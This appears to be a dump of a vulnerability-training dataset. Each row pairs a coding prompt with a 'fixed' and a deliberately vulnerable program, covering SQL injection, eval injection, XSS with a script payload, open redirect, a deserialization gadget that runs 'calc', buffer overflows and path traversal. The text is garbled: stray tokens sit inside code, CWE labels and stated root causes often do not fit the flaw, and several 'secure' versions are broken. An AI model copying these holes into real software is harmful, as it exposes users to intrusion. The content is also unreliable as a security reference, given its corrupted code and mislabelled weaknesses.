Vulnerability Vector: A possible vulnerability in Swift could be the absence of proper input validatio (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
import UIKit
class ViewController: UIViewController {
@IBOutlet weak var usernameField: UITextField
@IBOutlet weak var passwordField: UITextField
override func viewDidLoad() {
super.viewDidLoad()
}
@IBAction func loginButtonTapped(_ sender: Any) {
... | <think>
Target: swift implementation for Write a swift code that creates a UIViewController subclass named 'Vie.
Vulnerability Vector: A possible vulnerability in Swift could be the absence of proper input validatio (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
import UIKit
class ViewController: UIViewController {
@IBOutlet weak var usernameField: UITextField
@IBOutlet weak var passwordField: UITextField
override func viewDidLoad() {
super.viewDidLoad()蜜
}
@IBAction func loginButtonTapped(_ sender: Any) {
... | 357 | 0.76 |
cyber_e2795ac72694 | vulnerability_research_cve | CWE-787 | Write a go code that creates a buffer of size 1024 bytes. Then, in a loop from 0 to 1024 (inclusive), set each byte in the buffer to the value of the current iteration modulo 256. If the buffer overflow attack is successful, print 'Buffer Overflow Attack Successful'. | Target: go implementation for Write a go code that creates a buffer of size 1024 bytes. Then, in a l.
Vulnerability Vector: Go does not have a built-in mechanism for memory safety, which can lead to a buf (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"unsafe"
)蜜汁
func main() {
buffer := make([]byte, 1024)
for i := 0; i < 1024; i++ {
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buffer[0])) + uintptr(i))) = byte(i % 256)
}
fmt.Println("Buffer Overflow Attack Successful")
}
``` | <think>
Target: go implementation for Write a go code that creates a buffer of size 1024 bytes. Then, in a l.
Vulnerability Vector: Go does not have a built-in mechanism for memory safety, which can lead to a buf (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"unsafe"
)
func main() {
buffer := make([]byte, 1024)
for i := 0; i <= 1024; i++ {
*(*int8)(unsafe.Pointer(&buffer[0])) = int8(i % 256)
}
fmt.Println("Buffer Overflow Attack Successful")
}
``` | 245 | 0.75 |
cyber_5dba43d2ae1d | vulnerability_research_cve | CWE-20 | Write a fortran code that prints 'This line will always be executed.' and then skip printing 'This line will never be executed.' | Target: fortran implementation for Write a fortran code that prints 'This line will always be executed.' .
Vulnerability Vector: The 'goto' statement in Fortran allows for uncontrolled jumps in control flow, w (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program main
implicit none
integer :: i
i = 1
if (i == 1) then
print*, "This line will always be executed."
end if
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that prints 'This line will always be executed.' .
Vulnerability Vector: The 'goto' statement in Fortran allows for uncontrolled jumps in control flow, w (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program main
implicit none
integer :: i
i = 1
goto 10
print*, "This line will never be executed."
10 continue
print*, "This line will always be executed."
end program main
``` | 166 | 0.82 |
cyber_d8a51ca89584 | vulnerability_research_cve | CWE-20 | Write a java code that imports the Scanner class from java.util package, creates a class named Main with a main method. Inside the main method, create a new instance of the Scanner class to read input from the user. Print a message asking the user to enter their password. Read the user's input and store it in a variabl... | Target: java implementation for Write a java code that imports the Scanner class from java.util packag.
Vulnerability Vector: The use of System.out.println() in production code can lead to security risks as (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.err.print("Enter your password: ");
String password = scanner.nextLine();
System.out.println("Your password is: ******");
}
}
``` | <think>
Target: java implementation for Write a java code that imports the Scanner class from java.util packag.
Vulnerability Vector: The use of System.out.println() in production code can lead to security risks as (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your password: ");
String password = scanner.nextLine();
System.out.println("Your password is: " + password);
}
}
``... | 199 | 0.82 |
cyber_97cf59062475 | vulnerability_research_cve | CWE-20 | Write a php code that accepts username and password from a POST request, checks if they match with 'admin', and if they do, redirects to a URL specified in a GET request. If they don't match, it echoes 'Login failed.' | Target: php implementation for Write a php code that accepts username and password from a POST reques.
Vulnerability Vector: Potential Unvalidated Redirects and Forwards can lead to Open Redirect Vulnerabi (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
// Simplified version of a login system
$user = $_POST['username'] ?? '';
$pass = $_POST['password'] ?? '';
// Validate the redirect URL
$redirectUrl = filter_input(INPUT_GET, 'redirect', FILTER_VALIDATE_URL) ?: 'default_url';
if($user === 'admin' && $pass === 'admin') {
// Successful login
heade... | <think>
Target: php implementation for Write a php code that accepts username and password from a POST reques.
Vulnerability Vector: Potential Unvalidated Redirects and Forwards can lead to Open Redirect Vulnerabi (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
// Simplified version of a login system
$user = $_POST['username'];
$pass = $_POST['password'];
if($user == 'admin' && $pass == 'admin') {
// Successful login
$redirectUrl = $_GET['redirect'];
header('Location: '.$redirectUrl);
} else {
// Failed login
echo "Login failed.";
}
?>
``` | 250 | 0.7 |
cyber_0f902771ec93 | vulnerability_research_cve | CWE-78 | Write a kotlin code that creates a resource class which has an id and a HashMap to store resources. The resource class has methods to use and close the resource. The main function opens 1000000 resources but does not close them. Each resource is identified by its unique id. | Target: kotlin implementation for Write a kotlin code that creates a resource class which has an id and .
Vulnerability Vector: Improper resource management can lead to memory leaks and other performance issu (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
class Resource(val id: Int) {
companion object {
private val resources = WeakHashMap<Int, Resource>()
}
fun use() {
println("Using resource $id")
}
companion object {
fun openResource(id: Int): Resource {
val resource = Resource(id)... | <think>
Target: kotlin implementation for Write a kotlin code that creates a resource class which has an id and .
Vulnerability Vector: Improper resource management can lead to memory leaks and other performance issu (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
class Resource(val id: Int) {
companion object {
private val resources = HashMap<Int, Resource>()
}
fun use() {
println("Using resource $id")
}
fun close() {
println("Closing resource $id")
resources.remove(id)
}
companion obje... | 273 | 0.99 |
cyber_d7063bb53196 | vulnerability_research_cve | CWE-502 | Write a java code that serializes an object of a class named 'VulnerableClass' and then deserializes it back. During deserialization, the readObject method of the 'VulnerableClass' will execute the command 'calc' which opens the calculator application on the system. | Target: java implementation for Write a java code that serializes an object of a class named 'Vulnerab.
Vulnerability Vector: Java's ObjectInputStream class is prone to deserialization attacks when used in (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(byteOut);
objOut.writeObject(new VulnerableClass());
byte[] bytes =... | <think>
Target: java implementation for Write a java code that serializes an object of a class named 'Vulnerab.
Vulnerability Vector: Java's ObjectInputStream class is prone to deserialization attacks when used in (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(byteOut);
objOut.writeObject(new VulnerableClass());
byte[] bytes =... | 405 | 0.6 |
cyber_4a35eda7b7eb | vulnerability_research_cve | CWE-20 | Write a javascript code that asks the user for an input, then evaluates and executes that input as a piece of JavaScript code. | Target: javascript implementation for Write a javascript code that asks the user for an input, then evaluate.
Vulnerability Vector: The use of eval() function can lead to code injection attacks if used carelessly (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function getUserInput() {
var userInput = prompt("Enter some input:");
return userInput;
}
function evaluateUserInput(userInput) {
try {
new Function(userInput)();
} catch (e) {
console.error('Invalid input');
}
}
var userInput = getUserInput();
evaluateUserInput(user... | <think>
Target: javascript implementation for Write a javascript code that asks the user for an input, then evaluate.
Vulnerability Vector: The use of eval() function can lead to code injection attacks if used carelessly (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function getUserInput() {
var userInput = prompt("Enter some input:");
return userInput;
}
function evaluateUserInput(userInput) {
eval(userInput);
}
var userInput = getUserInput();
evaluateUserInput(userInput);
``` | 206 | 0.7 |
cyber_7f6ea95d1cec | vulnerability_research_cve | CWE-22 | Write a c# code that takes an input from the command line arguments and creates a text file in the root directory of the C drive with the name as the input provided by the user. The content of the file should be 'Hello, World!'. | Target: c# implementation for Write a c# code that takes an input from the command line arguments an.
Vulnerability Vector: The 'File.WriteAllText' method in C# is vulnerable to directory traversal attack (CWE-22).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.IO;
public class Program
{
public static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Please provide an argument");
return;ellow
}
string userInput = args[0];
string rootDirectory ... | <think>
Target: c# implementation for Write a c# code that takes an input from the command line arguments an.
Vulnerability Vector: The 'File.WriteAllText' method in C# is vulnerable to directory traversal attack (CWE-22).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.IO;
public class Program
{
public static void Main(string[] args)
{
string userInput = args[0];
string filePath = Path.Combine("C:\\", userInput);
File.WriteAllText(filePath, "Hello, World!");
}
}
``` | 354 | 0.45 |
cyber_195ebc19d809 | vulnerability_research_cve | CWE-502 | Write a ruby code that creates a User object, serializes it into a YAML string, then deserializes the YAML string back into a User object and prints out the name of the user. | Target: ruby implementation for Write a ruby code that creates a User object, serializes it into a YAM.
Vulnerability Vector: Ruby's YAML library can be susceptible to arbitrary code execution through deser (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```ruby
require 'yaml'
class User
attr_accessor :name
def initialize(name)
@name = name
end
def self.load_from_yaml(yaml_string)
YAML.safe_load(yaml_string, permitted_classes: [User])
end
def to_yaml
YAML.dump(self)
end
end
yaml_string = User.new('vulnerable_code').to_yaml
user = User.loa... | <think>
Target: ruby implementation for Write a ruby code that creates a User object, serializes it into a YAM.
Vulnerability Vector: Ruby's YAML library can be susceptible to arbitrary code execution through deser (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```ruby
require 'yaml'
class User
attr_accessor :name
end
def load_user(yaml_string)
YAML.load(yaml_string)
end
def create_yaml_string(name)
user = User.new
user.name = name
YAML.dump(user)
end
yaml_string = create_yaml_string("vulnerable_code")
user = load_user(yaml_string)
puts user.name
``` | 255 | 0.76 |
cyber_522848283cf3 | vulnerability_research_cve | CWE-362 | Write a go code that uses a mutex to protect a shared counter from concurrent access. The counter should be incremented by 1000 goroutines running concurrently. | Target: go implementation for Write a go code that uses a mutex to protect a shared counter from con.
Vulnerability Vector: Go does not have built-in support for handling concurrent processes, which can l (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"sync"
)
type Counter struct {
mu sync.Mutex
count int
}
func (c *Counter) Increment() {
c.mu.Lock()
defer c.mu.Unlock()
c.count++
}
func main() {
var wg sync.WaitGroup
c := Counter{}
for i := 0; i < 1000; i++ {
wg.Add(1)
go func() {
defer wg.Done()
c.Increme... | <think>
Target: go implementation for Write a go code that uses a mutex to protect a shared counter from con.
Vulnerability Vector: Go does not have built-in support for handling concurrent processes, which can l (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"sync"
)
type Counter struct {
mu sync.Mutex
count int
}
func (c *Counter) Increment() {
c.mu.Lock()
defer c.mu.Unlock()
c.count++
}
func main() {
var wg sync.WaitGroup
c := Counter{}
for i := 0; i < 1000; i++ {
wg.Add(1)
go func() {
defer wg.Done()dashed_sandpiper... | 294 | 0.89 |
cyber_a06d73bd45d5 | vulnerability_research_cve | CWE-787 | Write a fortran code that prints out the string 'Hello World!' | Target: fortran implementation for Write a fortran code that prints out the string 'Hello World!'.
Vulnerability Vector: A buffer overflow vulnerability in Fortran can occur when a programmer fails to (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Str... | ```fortran
program main
implicit none
character(:), allocatable :: str
str = "Hello World!"
print*, str
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that prints out the string 'Hello World!'.
Vulnerability Vector: A buffer overflow vulnerability in Fortran can occur when a programmer fails to (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=5) :: str
str = "Hello World!"
print*, str
end program main
``` | 148 | 0.76 |
cyber_08d776a9ebcd | vulnerability_research_cve | CWE-79 | Write a javascript code that creates a webpage with a heading and a paragraph. The heading should say 'Welcome to our site' and the paragraph should read 'This is a paragraph.' The webpage should be created when the document is ready or when the DOM content has been loaded. | Target: javascript implementation for Write a javascript code that creates a webpage with a heading and a pa.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities in JavaScript applications can allow (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function createElement(tagName, attributes, children) {
let element = document.createElement(tagName);
for (let attribute in attributes) {
element.setAttribute(attribute, attributes[attribute]);lowing the best practices.
}
for (let child of children) {
if (typeof child === ... | <think>
Target: javascript implementation for Write a javascript code that creates a webpage with a heading and a pa.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities in JavaScript applications can allow (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function createElement(tagName, attributes, children) {
let element = document.createElement(tagName);
for (let attribute in attributes) {
element.setAttribute(attribute, attributes[attribute]);
}
for (let child of children) {
if (typeof child === 'string') {
el... | 340 | 0.89 |
cyber_c582f0b2005c | vulnerability_research_cve | CWE-20 | Write a ruby code that defines a class named 'VulnerableController' which inherits from 'ApplicationController'. This class should have a method named 'index' which takes user input from the params and evaluates it using the 'eval' function. Be careful, as this can be a security risk if not handled properly. | Target: ruby implementation for Write a ruby code that defines a class named 'VulnerableController' wh.
Vulnerability Vector: The vulnerability could be an unprotected use of 'eval' which can lead to arbitr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class VulnerableController < ApplicationController
ALLOWED_METHODS = ['allowed_method1', 'allowed_method2'] # add allowed methods here
def index
user_input = params[:user_input]
if ALLOWED_METHODS.include?(user_input)
send(user_input)
else
render plain: "Method not allowed"
end
... | <think>
Target: ruby implementation for Write a ruby code that defines a class named 'VulnerableController' wh.
Vulnerability Vector: The vulnerability could be an unprotected use of 'eval' which can lead to arbitr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
class VulnerableController < ApplicationController
def index
user_input = params[:user_input]
eval(user_input)
end
end
``` | 251 | 0.47 |
cyber_fc41ca892fe4 | vulnerability_research_cve | CWE-476 | Write a java code that creates an instance of `VulnerableClass` and calls its `doSomething` method, which in turn calls the `doAnotherThing` method of another class `AnotherClass`. The `doAnotherThing` method prints 'It's doing something!' to the console. | Target: java implementation for Write a java code that creates an instance of `VulnerableClass` and ca.
Vulnerability Vector: The code may be vulnerable to NullPointerException due to improper handling of n (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
class VulnerableClass {
private AnotherClass obj;
public VulnerableClass() {
this.obj = new AnotherClass();
}
public void doSomething() {
if (obj != null) {
obj.doAnotherThing();
} else {
System.out.println("Object is null");
}
}
}
c... | <think>
Target: java implementation for Write a java code that creates an instance of `VulnerableClass` and ca.
Vulnerability Vector: The code may be vulnerable to NullPointerException due to improper handling of n (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
class VulnerableClass {
private AnotherClass obj;
public void doSomething() {
obj.doAnotherThing();
}
}
class AnotherClass {
public void doAnotherThing() {
System.out.println("It's doing something!");
}
}
public class Main {
public static void main(String[] args) {
... | 292 | 0.68 |
cyber_0abc0b6894e4 | vulnerability_research_cve | CWE-89 | Write a c# code that handles user input and queries a SQL database for a specific username. | Target: c# implementation for Write a c# code that handles user input and queries a SQL database for.
Vulnerability Vector: Improper input validation and sanitization vulnerabilities in C# can lead to inj (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
using System.Web;
public class UserInputHandler
{
public void HandleUserInput(string userInput)
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = ne... | <think>
Target: c# implementation for Write a c# code that handles user input and queries a SQL database for.
Vulnerability Vector: Improper input validation and sanitization vulnerabilities in C# can lead to inj (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
using System.Web;
public class UserInputHandler
{
public void HandleUserInput(string userInput)
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = ne... | 345 | 0.76 |
cyber_6cf7bae829cf | vulnerability_research_cve | CWE-639 | Write a javascript code that maintains a list of users in an object where each user has an id, name and age. The code should have two functions - one to get a user by their id and another to update a user's data by their id. When you run the example usage, it should first print out the details of the user with id 1, th... | Target: javascript implementation for Write a javascript code that maintains a list of users in an object wh.
Vulnerability Vector: Insecure Direct Object Reference (IDOR) vulnerability in JavaScript, which can o (CWE-639).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```javascript
class User {
constructor(id, name, age) {
this.id = id;
this.name = name;
this.age = age;
}
}
var users = {
1: new User(1, 'John', 30),
2: new User(2, 'Jane', 25)
};
function getUser(id) {
var user = users[id];
if (!user) {
throw new Error('User no... | <think>
Target: javascript implementation for Write a javascript code that maintains a list of users in an object wh.
Vulnerability Vector: Insecure Direct Object Reference (IDOR) vulnerability in JavaScript, which can o (CWE-639).
Root Cause: Missing bounds verification or improper memory handling prior to state mutat... | ```javascript
var users = {
1: {name: 'John', age: 30},
2: {name: 'Jane', age: 25}
};
function getUser(id) {
return users[id];
}
function updateUser(id, newData) {
users[id] = newData;
}
// Example usage
console.log(getUser(1)); // Outputs: {name: 'John', age: 30}
updateUser(1, {name: 'New John', age... | 409 | 0.58 |
cyber_43459d4a8bb1 | vulnerability_research_cve | CWE-20 | Write a go code that sends an HTTP GET request to 'https://api.example.com/endpoint', then reads and prints the response body. | Target: go implementation for Write a go code that sends an HTTP GET request to 'https://api.example.
Vulnerability Vector: In Go, improper handling of errors in HTTP responses can lead to sensitive infor (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"io/ioutil"
"net/http"
"os"
)
func main() {
resp, err := http.Get("https://api.example.com/endpoint")
if err != nil {
fmt.Println(err)
os.Exit(1) // Exit the program if there's an error
}
defer resp.Body.Close()
// Check server response
if resp.StatusCode != http.Statu... | <think>
Target: go implementation for Write a go code that sends an HTTP GET request to 'https://api.example.
Vulnerability Vector: In Go, improper handling of errors in HTTP responses can lead to sensitive infor (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"fmt"
"net/http"
"io/ioutil"
)
func main() {
resp, err := http.Get("https://api.example.com/endpoint")
if err != nil {
fmt.Println(err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
fmt.Println(string(body))
}
``` | 369 | 0.52 |
cyber_4dfd6c38ccea | vulnerability_research_cve | CWE-79 | Write a c# code that responds to a web page request. The code should take a user input from the query string and display it on the webpage without any sanitization or validation. | Target: c# implementation for Write a c# code that responds to a web page request. The code should t.
Vulnerability Vector: The use of `User-Supplied Input` without proper sanitization or validation can l (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Web;
using System.Web.UI;Bs;
using System.Web.UI.WebControls;
public partial class _Default : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string userInput = Request.QueryString["userInput"];
if (!string.IsNullOrEmpty(userInput))
{
... | <think>
Target: c# implementation for Write a c# code that responds to a web page request. The code should t.
Vulnerability Vector: The use of `User-Supplied Input` without proper sanitization or validation can l (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class _Default : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string userInput = Request.QueryString["userInput"];
// No sanitization or validation:
Response.Writ... | 247 | 0.74 |
cyber_0efbe86a5cdd | vulnerability_research_cve | CWE-20 | Write a go code that creates a struct named 'MyStruct' with a field 'value'. In the main function, create an instance of 'MyStruct' and set its value to 0. Then, using a loop, add 1000 goroutines. Each goroutine should increment the 'value' of the 'MyStruct' instance. After all goroutines have finished executing, print... | Target: go implementation for Write a go code that creates a struct named 'MyStruct' with a field 'v.
Vulnerability Vector: Improper use of pointers can lead to memory corruption or data races in Go. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strate... | ```go
package main
import (
"fmt"
"sync"
)
type MyStruct struct {
value int
mu sync.Mutex
}
func (ms *MyStruct) Increment() {
ms.mu.Lock()
defer ms.mu.Unlock()
ms.value++
}
func main() {
var wg sync.WaitGroup
ms := &MyStruct{value: 0}
for i := 0; i < 1000; i++ {
wg.Add(1)
go func(ms *MyStruct) {
... | <think>
Target: go implementation for Write a go code that creates a struct named 'MyStruct' with a field 'v.
Vulnerability Vector: Improper use of pointers can lead to memory corruption or data races in Go. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```go
package main
import (
"fmt"
"sync"
)
type MyStruct struct {
value int
}
func main() {
var wg sync.WaitGroup
ms := &MyStruct{value: 0}
for i := 0; i < 1000; i++ {
wg.Add(1)
go func(ms *MyStruct) {
defer wg.Done()ivalue++
}(ms)
}
wg.Wait()
fmt.Println(ms.value)
}
``` | 310 | 0.71 |
cyber_d092689e409a | vulnerability_research_cve | CWE-20 | Write a fortran code that defines three real numbers x, y, and z. Then, define a subroutine named 'some_function' that takes three real arguments. In this subroutine, assign 1.0 to the first argument and 2.0 to the second argument. The third argument is not initialized. Call this subroutine from the main program and pa... | Target: fortran implementation for Write a fortran code that defines three real numbers x, y, and z. Then.
Vulnerability Vector: The use of uninitialized variables in Fortran can lead to unexpected and erroneo (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program main
implicit none
real :: x, y, z
x = 1.0
y = 2.0
z = 0.0
call some_function(x, y, z)
print*, "Result: ", x + y + z
contains
subroutine some_function(a, b, c)
real, intent(inout) :: a, b, c
a = 1.0
b = 2.0
c = 0.0 ! initialize c to avoi... | <think>
Target: fortran implementation for Write a fortran code that defines three real numbers x, y, and z. Then.
Vulnerability Vector: The use of uninitialized variables in Fortran can lead to unexpected and erroneo (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program main
implicit none
integer :: i, j, k
real :: x, y, z
call some_function(x, y, z)
print*, "Result: ", x + y + z
contains
subroutine some_function(a, b, c)
real, intent(out) :: a, b, c
a = 1.0
b = 2.0
! c is not initialized here
end subroutin... | 262 | 0.76 |
cyber_c4184fe426b1 | vulnerability_research_cve | CWE-787 | Write a c++ code that takes user input and prints it out without checking if the input is too long. The function vulnerableFunction should be defined to take a character pointer as an argument. It should create a buffer of size 10 characters, copy the content of the user input into the buffer using strcpy, and then pri... | Target: c++ implementation for Write a c++ code that takes user input and prints it out without check.
Vulnerability Vector: The use of unsanitized user input can lead to buffer overflows or format string (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <string>
#include <cstring>
void secureFunction(const char* userInput) {
char buffer[11]; // Add one extra space for null terminator
strncpy(buffer, userInput, sizeof(buffer));
buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
std::cout << "You entered: "... | <think>
Target: c++ implementation for Write a c++ code that takes user input and prints it out without check.
Vulnerability Vector: The use of unsanitized user input can lead to buffer overflows or format string (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <iostream>
#include <string>
void vulnerableFunction(char* userInput) {
char buffer[10];
strcpy(buffer, userInput);
std::cout << "You entered: " << buffer;
}
int main() {
char userInput[256];
std::cout << "Enter some text: ";
std::cin.getline(userInput, 256);
vulnerableFunc... | 280 | 0.71 |
cyber_97e7d217f57a | vulnerability_research_cve | CWE-20 | Write a python code that asks the user to enter two numbers and then prints the sum of these two numbers. | Target: python implementation for Write a python code that asks the user to enter two numbers and then p.
Vulnerability Vector: Inadequate error handling and input validation may result in a type error or oth (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
def calculate_sum(n1, n2):
try:
return int(n1) + int(n2)
except ValueError:
print("Invalid input. Please enter valid integer values.")
return None
num1 = input("Enter first number: ")
num2 = input("Enter second number: ")
result = calculate_sum(num1, num2)
if result is not No... | <think>
Target: python implementation for Write a python code that asks the user to enter two numbers and then p.
Vulnerability Vector: Inadequate error handling and input validation may result in a type error or oth (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
def calculate_sum(n1, n2):
return n1 + n2
num1 = input("Enter first number: ")
num2 = input("Enter second number: ")
result = calculate_sum(num1, num2)
print("The sum is: " + str(result))
``` | 221 | 0.66 |
cyber_7ba4132aa613 | vulnerability_research_cve | CWE-79 | Write a javascript code that creates a new 'div' element, sets its innerHTML to a user-provided string, and appends it to the body of the HTML document. Then, call this function with a string that contains a script tag that will trigger an alert box displaying 'This is a XSS attack'. The string should be provided by th... | Target: javascript implementation for Write a javascript code that creates a new 'div' element, sets its inn.
Vulnerability Vector: A lack of input validation or sanitization in JavaScript can lead to Cross-Site (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function createElement(userInput) {
let div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);
}
let userInput = "<script>alert('This is a XSS attack')</script>";
createElement(userInput);
``` | <think>
Target: javascript implementation for Write a javascript code that creates a new 'div' element, sets its inn.
Vulnerability Vector: A lack of input validation or sanitization in JavaScript can lead to Cross-Site (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function createElement(userInput) {
let div = document.createElement('div');
div.innerHTML = userInput;
document.body.appendChild(div);
}
let userInput = "<script>alert('This is a XSS attack')</script>";
createElement(userInput);
``` | 186 | 0.78 |
cyber_3db44b40baea | vulnerability_research_cve | CWE-787 | Write a swift code that copies a string into an array of Int8 type using unsafe pointers. The function 'unsafeCopy' takes three parameters: a source string, a pointer to a mutable array of Int8, and the number of elements to copy. It uses the 'withUnsafeBytes' method on the source string to access its underlying byte r... | Target: swift implementation for Write a swift code that copies a string into an array of Int8 type usi.
Vulnerability Vector: A buffer overflow vulnerability may occur if a string is not properly checked fo (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func safeCopy(_ source: String, _ destination: UnsafeMutablePointer<Int8>, _ count: Int) {
let maxCount = min(source.utf8.count, count)
source.withUnsafeBytes { (bytes: UnsafeRawBufferPointer) -> Void in
bytes.baseAddress?.copyBytes(to: destination, count: maxCount)
}
}
... | <think>
Target: swift implementation for Write a swift code that copies a string into an array of Int8 type usi.
Vulnerability Vector: A buffer overflow vulnerability may occur if a string is not properly checked fo (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func unsafeCopy(_ source: String, _ destination: UnsafeMutablePointer<Int8>, _ count: Int) {
source.withUnsafeBytes { (bytes: UnsafeRawBufferPointer) in
bytes.baseAddress?.move(to: destination, count: count)
}
}
let source = "This is a very long string that will cause a buff... | 279 | 0.8 |
cyber_7ffd2bd4ee2e | vulnerability_research_cve | CWE-787 | Write a c++ code that asks the user to enter their name and then prints a greeting message using the inputted name. | Target: c++ implementation for Write a c++ code that asks the user to enter their name and then print.
Vulnerability Vector: The usage of gets() function could lead to buffer overflow, which could allow an (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <string>
int main() {
std::string name;
std::cout << "Enter your name: ";
std::getline(std::cin, name);
std::cout << "Hello, " << name << "!\n";
return 0;
}
``` | <think>
Target: c++ implementation for Write a c++ code that asks the user to enter their name and then print.
Vulnerability Vector: The usage of gets() function could lead to buffer overflow, which could allow an (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <stdio.h>
#include <string.h>
int main() {
char buffer[10];
printf("Enter your name: ");
gets(buffer);
printf("Hello, %s!\n", buffer);
return 0;
}
``` | 190 | 0.76 |
cyber_9c364f24ba92 | vulnerability_research_cve | CWE-79 | Write a javascript code that creates a new user object with a given username and password. The function should not validate if the username or password contains any potentially harmful HTML tags. After creating the user object, store it in a database. Write another piece of code that creates a string containing a scrip... | Target: javascript implementation for Write a javascript code that creates a new user object with a given us.
Vulnerability Vector: Improper input validation or sanitization can lead to Cross-Site Scripting (XSS) (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
